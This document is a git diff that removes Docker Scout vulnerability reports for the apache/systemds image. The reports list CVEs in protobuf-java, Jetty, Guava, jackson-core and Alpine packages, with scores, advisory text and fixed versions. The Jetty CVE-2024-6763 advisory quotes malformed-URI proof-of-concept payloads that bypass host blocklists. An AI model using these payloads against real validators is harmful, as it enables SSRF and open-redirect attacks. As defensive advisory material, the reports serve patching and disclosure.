Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2021--22569 Incorrect Behavior Order - - - - - - - - -
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
- -
Description -
- -## Summary - -A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. - -Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) - -Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. - -## Severity - -[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. - -## Proof of Concept - -For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -- protobuf-java (3.16.1, 3.18.2, 3.19.2) -- protobuf-kotlin (3.18.2, 3.19.2) -- google-protobuf [JRuby gem only] (3.19.2) - - -
-
- -medium 5.7: CVE--2022--3171 Improper Input Validation - - - - - - - - -
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
- -
Description -
- -## Summary -A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. - -Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) - -Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -## Severity - -[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) - - -
-
- -medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
- -
Description -
- -Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) - -pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
-high : CVE--2025--9230 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.029%
EPSS Percentile8th percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9231 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9232 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.130%
EPSS Percentile33rd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) - -pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
-high 8.7: CVE--2025--52999 Stack-based Buffer Overflow - - - - - - - - -
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.033%
EPSS Percentile9th percentile
- -
Description -
- -### Impact -With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. - -### Patches -jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. -jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. - -### Workarounds -Users should avoid parsing input files from untrusted sources. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) - -pkg:maven/com.google.guava/guava@14.0.1
-medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data - - - - - - - - -
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
- -
Description -
- -Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. - -
-
- -medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.065%
EPSS Percentile20th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
-medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
- -
Description -
- -Description -There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. - - -Vulnerability details -The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. - - -Impact -Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. - - -Patches -The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. - - -Patched releases: - - * 9.4.54 - * 10.0.18 - * 11.0.18 - * 12.0.3 - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 busybox 1.36.1-r31 (apk) - -pkg:apk/alpine/busybox@1.36.1-r31?os_name=alpine&os_version=3.20
-medium : CVE--2025--60876 - - - - - - -
Affected range<=1.36.1-r31
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile17th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) - -pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
-medium : CVE--2026--22184 - - - - - - -
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) - -pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
-unspecified : CVE--2025--62813 - - - - - - -
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
-
- diff --git a/docker/scout_results/alpine-apk-cves/sysds_output18.md b/docker/scout_results/alpine-apk-cves/sysds_output18.md deleted file mode 100644 index 049bd95dfbc..00000000000 --- a/docker/scout_results/alpine-apk-cves/sysds_output18.md +++ /dev/null @@ -1,571 +0,0 @@ -

:mag: Vulnerabilities of apache/systemds:latest

- -
:package: Image Reference apache/systemds:latest - - - - - -
digestsha256:5e861903b7abb730c237a819a6c22dc0d2e1f07f46c2df74c220314377afea72
vulnerabilitiescritical: 0 high: 6 medium: 9 low: 1 unspecified: 1
platformlinux/amd64
size397 MB
packages343
-
- - - - - - - - - - - - - - - - - - - - -
-
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.7.1
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
- -high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2021--22569 Incorrect Behavior Order - - - - - - - - -
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
- -
Description -
- -## Summary - -A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. - -Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) - -Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. - -## Severity - -[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. - -## Proof of Concept - -For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -- protobuf-java (3.16.1, 3.18.2, 3.19.2) -- protobuf-kotlin (3.18.2, 3.19.2) -- google-protobuf [JRuby gem only] (3.19.2) - - -
-
- -medium 5.7: CVE--2022--3171 Improper Input Validation - - - - - - - - -
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
- -
Description -
- -## Summary -A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. - -Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) - -Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -## Severity - -[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) - - -
-
- -medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
- -
Description -
- -Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.130%
EPSS Percentile33rd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) - -pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
-high 8.7: CVE--2025--52999 Stack-based Buffer Overflow - - - - - - - - -
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.033%
EPSS Percentile9th percentile
- -
Description -
- -### Impact -With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. - -### Patches -jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. -jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. - -### Workarounds -Users should avoid parsing input files from untrusted sources. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) - -pkg:maven/com.google.guava/guava@14.0.1
-medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data - - - - - - - - -
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
- -
Description -
- -Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. - -
-
- -medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.065%
EPSS Percentile20th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
-medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
- -
Description -
- -Description -There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. - - -Vulnerability details -The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. - - -Impact -Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. - - -Patches -The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. - - -Patched releases: - - * 9.4.54 - * 